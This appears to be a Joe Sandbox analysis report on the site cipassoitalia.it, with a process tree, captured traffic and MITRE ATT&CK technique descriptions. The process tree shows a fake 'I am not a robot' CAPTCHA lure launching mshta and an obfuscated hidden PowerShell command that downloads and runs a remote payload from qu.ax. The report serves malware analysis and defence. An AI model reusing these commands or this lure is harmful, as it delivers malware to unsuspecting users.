149	192.168.2.16	49879	87.250.251.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:31 UTC	898	OUT	GET /sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.FbrXZOQetWtOhWNidnx8SrNpJCm7npvfFh5QbMLx1fMZgV2U5YpHZ19yM6qeSPro.GOR9bmAnKLLv1S9w2wxjABMq3CA%2C HTTP/1.1 Host: mc.yandex.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yandexuid=261293701736425167; yashr=7067508691736425167
2025-01-09 12:19:31 UTC	673	IN	HTTP/1.1 302 Moved temporarily Connection: Close Date: Thu, 09 Jan 2025 12:19:31 GMT Location: https://mc.yandex.com/sync_cookie_image_decide?token=10611.ypiVpKl1TaS_90RmrA4LBUwe28FduQr_As0goCFHNe3WItNOEA81sLSU0VJ3z1ns5ifLn9qIxkIu6p3s4TBtEDtVQOhaqB8rkghzxO8gZ9j-0ak4RnstvoyqT1k2XXLpqoWdgpShJGt9N04YeZ8jzvVGIp-ma8UsNL4JAuwxAlF_wqIpkhnYSQQP3gky7zL7m5zCzxtpslZPDNNIvbIoZWOroz3nS32OUg7hDcNkOFA%2C.Hui5W45AzTNyHNlXZbHDAFV5-Sg%2C Set-Cookie: sync_cookie_csrf=2362166951fake; Expires=Thu, 09-Jan-2025 12:29:31 GMT; Domain=.mc.yandex.ru; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-XSS-Protection: 1; mode=block
2025-01-09 12:19:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:19:05
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	07:19:06
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,6344589457771235264,13748458223402876803,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:19:07
Start date:	09/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://cipassoitalia.it"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:20:18
Start date:	09/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec # ? ''I am not a robot - reCAPTCHA Verification ID: 4678''
Imagebase:	0x7ff792090000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:20:25
Start date:	09/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c start powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:20:25
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:20:25
Start date:	09/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:20:25
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:20:29
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Imagebase:	0xd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:20:29
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://cipassoitalia.it

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\SpgOJ[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02soceqj.gmq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fhupfkc.1n3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd2mn0gt.epv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxr0wzma.aoy.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Windows Analysis Report
http://cipassoitalia.it